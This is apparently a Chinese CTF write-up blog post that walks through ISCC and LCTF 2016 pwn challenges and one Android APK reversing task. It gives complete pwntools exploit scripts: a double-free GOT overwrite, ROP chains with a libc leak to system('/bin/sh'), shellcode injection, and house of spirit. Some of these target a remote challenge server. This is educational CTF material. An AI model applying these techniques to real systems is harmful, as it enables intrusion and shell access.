pwndbg> x/8gx 0x602030+2 0x602032 <__stack_chk_fail@got.plt+2>: 0x0756000000000040 0xa160000000000040 0x602042 <printf@got.plt+2>: 0xb1c000007f2cd78b 0x078600007f2cd788 0x602052 <__gmon_start__@got.plt+2>: 0x1c40000000000040 0x5ee000007f2cd78a 0x602062 <malloc@got.plt+2>: 0x472000007f2cd78e 0xfe8000007f2cd78d pwndbg> 这须要咱们控制malloc的参数为0x40-0x10
最终的exp以下:
Desktop cat exp.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * from time import sleep import sys context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./pwn3") if sys.argv[1] == "l": context.log_level = "debug" # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./pwn3") libc = elf.libc else: io = remote("47.104.16.75", 8999) # libc = ELF("") def DEBUG(): raw_input("DEBUG: ") gdb.attach(io, "b *0x400B26") def add(idx, length, content): io.sendlineafter("2 delete paper\n", "1") sleep(0.01) io.sendlineafter(":", str(idx)) sleep(0.01) io.sendlineafter(":", str(length)) sleep(0.01) io.sendlineafter(":", content) sleep(0.01) def delete(idx): io.sendlineafter("2 delete paper\n", "2") sleep(0.01) io.sendlineafter(":", str(idx)) sleep(0.01) if __name__ == "__main__": fakeChunk = 0x602030+2 add(0, 0x30, '0000') add(1, 0x30, '1111') delete(0) # 0 delete(1) # 1 -> 0 delete(0) # 0 -> 1 -> 0 add(0, 0x30, p64(fakeChunk)) # 1 -> 0 -> fakeChunk add(1, 0x30, '1111') # 0 -> fakeChunk add(2, 0x30, '2222') # fakeChunk # payload = 'aaaaaaaabbbbbbbbccccccccdddddddd' payload = p8(0) * (3 * 8 - 2) + p64(elf.sym['gg']) * 2 # DEBUG() add(3, 0x30, payload) io.sendlineafter("2 delete paper\n", "2") # trigger strtol # delete(0) io.interactive() io.close() # flag{ISCC_SoEasy}
double free的模板题,并不难
64位动态连接的程序,没有开启canary和PIE,看起来能够暴力栈溢出了,经过分析Menu函数中输入choice时存在栈溢出,而且程序中有system函数,这样就能够控制Menu函数返回到system了,但要执行system("/bin/sh")的话还须要控制rdi指向/bin/sh,常规的思路是经过rop控制write函数将/bin/sh写到bss或者data等固定地址,但这里由于程序中有flu sh函数,所以必然存在sh字符串,直接控制便可
刚开始没注意程序中存在system函数,用了leak两个got中地址查找libc版本而后system(/bin/sh)的方法,也把脚本贴在下边了
ROP的详细介绍能够看这个slide
Desktop cat iscc_pwn200_1.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * from time import sleep import sys context.arch = 'amd64' context.log_level = "debug" context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./pwn50") if sys.argv[1] == "l": # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./pwn50") libc = elf.libc else: io = remote("47.104.16.75", 9000) # libc = ELF("") def DEBUG(): raw_input("DEBUG: ") gdb.attach(io) if __name__ == '__main__': popRdi = 0x0000000000400b03 io.sendlineafter(': ', 'guest') io.sendlineafter(': ', 'guest') # ROPgadget --binary ./pwn50 --string sh payload = flat([cyclic(0x50 + 0x8), popRdi, 0x0000000000400407, elf.plt['system']]) io.sendlineafter(": ", payload) io.sendlineafter(": ", '3') io.interactive() io.close() Desktop cat iscc_pwn200_2.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * from time import sleep import sys context.arch = 'amd64' context.log_level = "debug" context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./pwn50") if sys.argv[1] == "l": # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./pwn50") libc = elf.libc else: io = remote("47.104.16.75", 9000) libc = ELF("./libc6_2.19-0ubuntu6.14_amd64.so") oneGadgetOffset = 0x46428 oneGadgetOffset = 0x4647c oneGadgetOffset = 0xe9415 oneGadgetOffset = 0xea36d def DEBUG(): raw_input("DEBUG: ") gdb.attach(io) popRdi = 0x0000000000400b03 if __name__ == "__main__": io.sendlineafter(': ', 'guest') io.sendlineafter(': ', 'guest') payload = flat([cyclic(0x50 + 8), popRdi, elf.got['puts'], elf.plt['puts'], popRdi, elf.got['read'], elf.plt['puts'], elf.sym['Menu']]) io.sendlineafter(": ", payload) io.sendlineafter(": ", '3') putsAddr = u64(io.recvuntil('\x7f')[-6: ].ljust(8, '\x00')) success('putsAddr -> {:#x}'.format(putsAddr)) readAddr = u64(io.recvuntil('\x7f')[-6: ].ljust(8, '\x00')) success('readAddr -> {:#x}'.format(readAddr)) libcBase = readAddr - libc.sym['read'] success('libcBase -> {:#x}'.format(libcBase)) pause() oneGadget = libcBase + 0x46428 payload = flat([cyclic(0x50 + 0x8), popRdi, libcBase + next(libc.search('/bin/sh')), libcBase + libc.sym['system'], 0xdeadbeef]) # DEBUG() io.sendlineafter(": ", payload) io.sendlineafter(": ", '3') io.interactive() io.close() # flag{welcome_to_iscc}
64位rop的模板题,还给了system函数
lctf2016的pwn200原题,甚至保留的当时出题失误的非预期解
题目的漏洞很容易发现:
当输入的字符串长度为48时,根据read的特性不会给输入的末尾加'\x00',此时就能够经过下边的printf来leak某些地址,调试能够发现leak的是0x400A8E这个函数的rbp,这样咱们就有了一个栈上的地址,根据栈上的偏移是固定的进而能够获得整个栈布局的地址(如输入的shellcode的地址和函数的返回地址)
输入0x40位buf时,后8位会覆盖dest,经过strcpy能够形成一次任意地址写
先说非预期解
程序没有开任何保护,根据以上两个漏洞,就能够有以下的思路:
首先根据leak出的rbp地址定位到输入的shellcode的地址,而后再经过任意地址写改写某个函数的got为shellcode的地址便可,个人作法是覆写printf@got为shellcode的地址,exp以下
lctf2016_pwn200 [master●] cat solve.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * context.terminal = ['deepin-terminal', '-x', 'sh', '-c'] context(arch = 'amd64', os = 'linux', log_level = 'debug') io = process("./pwn200") io.sendafter("?\n", '0' * 48) rbpAddr = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) success("rbpAddr -> {:#x}".format(rbpAddr)) # raw_input("DEBUG: ") # gdb.attach(io) io.sendlineafter("?\n", "0") payload = p64(rbpAddr - 0xb8) + asm(shellcraft.execve("/bin/sh")) payload = payload.ljust(0x40 - 8, '\x90') payload += p64(0x0000000000602030) io.sendafter("~\n", payload) io.interactive() io.close()
lctf的出题人也认可这一题出题失误形成了这样一个非预期解的出现
预期解是使用house of spirit这种攻击方法,house of spirit的基本思想是栈上溢出的长度不够覆盖到ret,但足够覆盖某些堆指针时,能够改写该堆指针并伪造chunk,经过free将该伪造的chunk添加进bin,进而控制咱们下一次malloc的地址,固然这须要经过一些检查,具体细节能够看这个slide
exp以下:
lctf2016_pwn200 [master●] cat hos.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * context(log_level = 'debug', arch = 'amd64', os = 'linux') context.terminal = ["deepin-terminal", '-x', 'sh', '-c'] def DEBUG(): raw_input("DEBUG: ") gdb.attach(io) io = process("./pwn200") # who are u? sc = asm(shellcraft.execve("/bin/sh")) io.sendafter("?\n", sc.ljust(48, '0')) rbpAddr = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) success("rbpAddr -> {:#x}".format(rbpAddr)) scAddr = rbpAddr - 0x50 fakeChunk = rbpAddr - 0x90 # give me your id io.sendlineafter("?\n", str(0x20)) # id # give me money payload = p64(0) * 5 + p64(0x41) payload = payload.ljust(0x40 - 8, '\x00') + p64(fakeChunk) io.sendlineafter("~\n", payload) # free io.sendlineafter(": ", "2") # malloc io.sendlineafter(": ", "1") io.sendlineafter("?\n", str(0x30)) payload = 'a' * 0x18 + p64(scAddr) payload = payload.ljust(48, '\x00') io.send(payload) # ret io.sendlineafter(": ", "3") io.interactive() io.close()
彷佛由于apktool的强大,这道题变得很简单
直接拿apktool反编译apk,在assets目录下发现了两个jar包和一个python,但实际上bfsprotect.jar是dex文件
Desktop apktool d crack.apk Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=gasp I: Using Apktool 2.2.3-dirty on crack.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/m4x/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... Desktop cd crack/assets assets ls bfsprotect.jar newDex.jar reverse.py assets file bfsprotect.jar bfsprotect.jar: Dalvik dex file version 035
使用dex2jar将dex转为jar
assets file bfsprotect.jar bfsprotect.jar: Dalvik dex file version 035 assets dex2jar ./bfsprotect.jar Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=gasp ./bfsprotect-dex2jar.jar exists, use --force to overwrite assets file bfsprotect-dex2jar.jar bfsprotect-dex2jar.jar: Zip archive data, at least v1.0 to extract
而后使用jd-gui打开jar包,就能在MainActivity找到onClick函数了
public void onClick(View paramAnonymousView) { paramAnonymousView = MainActivity.this.editText.getText().toString(); if (!new ProtectClass().protectMethod(paramAnonymousView)) { Toast.makeText(MainActivity.this, "Wrong Flag", 0).show(); return; } Toast.makeText(MainActivity.this, "Correct Flag", 0).show(); }
咱们在看一下ProtectClass中的protectMethod方法(由于多态,存在多个protectMethod方法,根据参数类型选择正确的protectMethod)
public boolean protectMethod(String paramString) { int i = 0; for (;;) { if (i >= MainActivity.runTimes >> 1) { return paramString.equals("BFS-ISCC"); } if ("123456".equals("123456")) {} i += 1; } }
发现有一个没什么卵用的循环,最后只须要让输入等于BFS-ISCC便可,试了一下,这个就是flag了
做者: LB919
出处:http://www.cnblogs.com/L1B0/
若有转载,荣幸之至!请随手标明出处;